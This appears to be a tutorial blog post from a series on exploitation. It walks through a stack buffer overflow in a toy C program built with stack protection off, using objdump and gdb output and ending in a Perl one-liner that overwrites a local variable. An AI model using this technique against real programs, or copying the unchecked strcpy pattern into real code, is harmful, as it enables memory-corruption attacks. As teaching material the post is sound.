(This is part of my series on program vulnerability exploitation.)
Before going on to arbitrary code execution, we will try our hand at something more mundane: overwriting a variable. The vulnerable program which we will exploit is as follows:
#include <stdio.h> #include <stdlib.h> #include <string.h> int vuln(char *s) { char buffer[50]; int n = 10; strcpy(buffer, s); return n; } int main(int argc, char **argv) { if (argc == 1) { fprintf(stderr, "Enter a string!\n"); exit(EXIT_FAILURE); } int n = vuln(argv[1]); if (n != 11) { printf("Fail.\n"); exit(EXIT_FAILURE); } printf("Win!\n"); }
So our goal is to have the function vuln() return a value of 11. We first use objdump to have a look at how the stack frame of vuln() is organised (note that we compile with the flag -fno-stack-protector, which as its name implies disables stack protections which would render our attack ineffective):
$ gcc -m32 -std=c99 -O0 -fno-stack-protector -pedantic -Wall -Wextra -o vuln1 vuln1.c $ objdump -d vuln1 | nl [...] 121 08048494 <vuln>: 122 8048494: 55 push ebp 123 8048495: 89 e5 mov ebp,esp 124 8048497: 83 ec 58 sub esp,0x58 125 804849a: c7 45 f4 0a 00 00 00 mov DWORD PTR [ebp-0xc],0xa 126 80484a1: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 127 80484a4: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 128 80484a8: 8d 45 c2 lea eax,[ebp-0x3e] 129 80484ab: 89 04 24 mov DWORD PTR [esp],eax 130 80484ae: e8 dd fe ff ff call 8048390 <strcpy@plt> 131 80484b3: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 132 80484b6: c9 leave 133 80484b7: c3 ret [...]
The start address of buffer is the first argument to strcpy(). Since arguments are put on the stack in reverse order, it is the last one that gets written on the stack before the call to strcpy(), and we see that it is at address ebp-0x3e (line 128 first computes the value ebp-0x3e and puts it in the register eax, and line 129 writes it at the appropriate location on the stack).
The variable n is stored at ebp-0xc. Indeed, we see that line 125 stores the value 0xa, which corresponds to decimal 10, at this address, and also that line 131 copies the value at this address to the register eax, which contains the return value of the function.
The stack thus looks like this (recall that the addresses go from top to bottom, if you have trouble with this you can imagine the stack as a sort of ranking table: number 1 is at the top):
| | +================+ | | <- esp +----------------+ | buffer | <- ebp-0x3e | | | | frame of vuln() +----------------+ | | +----------------+ | n | <- ebp-0xc +----------------+ | | <- ebp +================+ | | frame of main()
and it is now clear how we could overwrite the value of n: the function vuln() uses the function strcpy(), which simply copies a string without checking that it will fit in the destination buffer. Since the program simply copies into buffer the string we pass as argument, if we pass a string which is longer than what buffer can hold, the program will write beyond the bounds of buffer. In other words, it will overflow it.
We can observe the program in gdb to see what happens. First we put a breakpoint just before the call to strcpy(), so we can examine the stack before and after:
$ gdb ./vuln1 Reading symbols from /home/.../vuln1...(no debugging symbols found)...done. (gdb) disass vuln Dump of assembler code for function vuln: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: sub esp,0x58 0x0804849a <+6>: mov DWORD PTR [ebp-0xc],0xa 0x080484a1 <+13>: mov eax,DWORD PTR [ebp+0x8] 0x080484a4 <+16>: mov DWORD PTR [esp+0x4],eax 0x080484a8 <+20>: lea eax,[ebp-0x3e] 0x080484ab <+23>: mov DWORD PTR [esp],eax 0x080484ae <+26>: call 0x8048390 <strcpy@plt> 0x080484b3 <+31>: mov eax,DWORD PTR [ebp-0xc] 0x080484b6 <+34>: leave 0x080484b7 <+35>: ret End of assembler dump. (gdb) break *0x080484ae Breakpoint 1 at 0x80484ae
We then run the program with a string of appropriate length: everything will proceed normally
(gdb) run abcdefg Starting program: /home/.../vuln1 abcdefg Breakpoint 1, 0x080484ae in vuln () (gdb) x/30wx $esp 0xffffd520: 0xffffd53a 0xffffd7a5 0x00000000 0xf7ff1fec 0xffffd530: 0xffffd5e4 0x00000000 0x00000000 0xf7e50043 0xffffd540: 0x080482a8 0x00000000 0x2cb43049 0x00000001 0xffffd550: 0xffffd793 0x0000002f 0xffffd5ac 0xf7fc1ff4 0xffffd560: 0x08048550 0x08049ff4 0x00000002 0x0000000a 0xffffd570: 0xf7fc23e4 0x0000000a 0xffffd5a8 0x0804850b 0xffffd580: 0xffffd7a5 0xf7e50196 0xf7fc1ff4 0xf7e50225 0xffffd590: 0xf7feb280 0x00000000 (gdb) print $ebp $1 = (void *) 0xffffd578 (gdb) print $ebp-0xc $2 = (void *) 0xffffd56c (gdb) print $ebp-0x3e $3 = (void *) 0xffffd53a
We see our variable n with value 0xa (decimal 10) at 0xffffd56c (fourth word of the fifth line), and buffer starts at 0xffffd53a (middle of the third word of the second line, for the moment it contains random garbage). Now, after the call to strcpy():
(gdb) nexti 0x080484b3 in vuln () (gdb) x/30wx $esp 0xffffd520: 0xffffd53a 0xffffd7a5 0x00000000 0xf7ff1fec 0xffffd530: 0xffffd5e4 0x00000000 0x62610000 0x66656463 0xffffd540: 0x08040067 0x00000000 0x2cb43049 0x00000001 0xffffd550: 0xffffd793 0x0000002f 0xffffd5ac 0xf7fc1ff4 0xffffd560: 0x08048550 0x08049ff4 0x00000002 0x0000000a 0xffffd570: 0xf7fc23e4 0x0000000a 0xffffd5a8 0x0804850b 0xffffd580: 0xffffd7a5 0xf7e50196 0xf7fc1ff4 0xf7e50225 0xffffd590: 0xf7feb280 0x00000000
We see that the beginning of buffer now contains our string abcdefg (ASCII codes 0x61 to 0x67), and our variable n is still there where we left it, everything is all right.
Two questions remain before we can achieve our goal. The first one is easy: it is the question of how many bytes we need to write into buffer until we reach the location of the variable n. We can do the math in gdb:
(gdb) print 0x3e-0xc $4 = 50
so we need to write 50 random bytes. The next question is what exactly to write at the memory location of n in order to give it the value 11. 11 in hexadecimal is 0x0000000b so we need to write that, but since the bytes are stored in memory in reverse order (the machine is little-endian), we actually need to write 0x0b000000. We can use Perl to easily construct the string, and we obtain finally
$ ./vuln1 $(perl -e 'print "1"x50 . "\x0b\x00\x00\x00"') Win!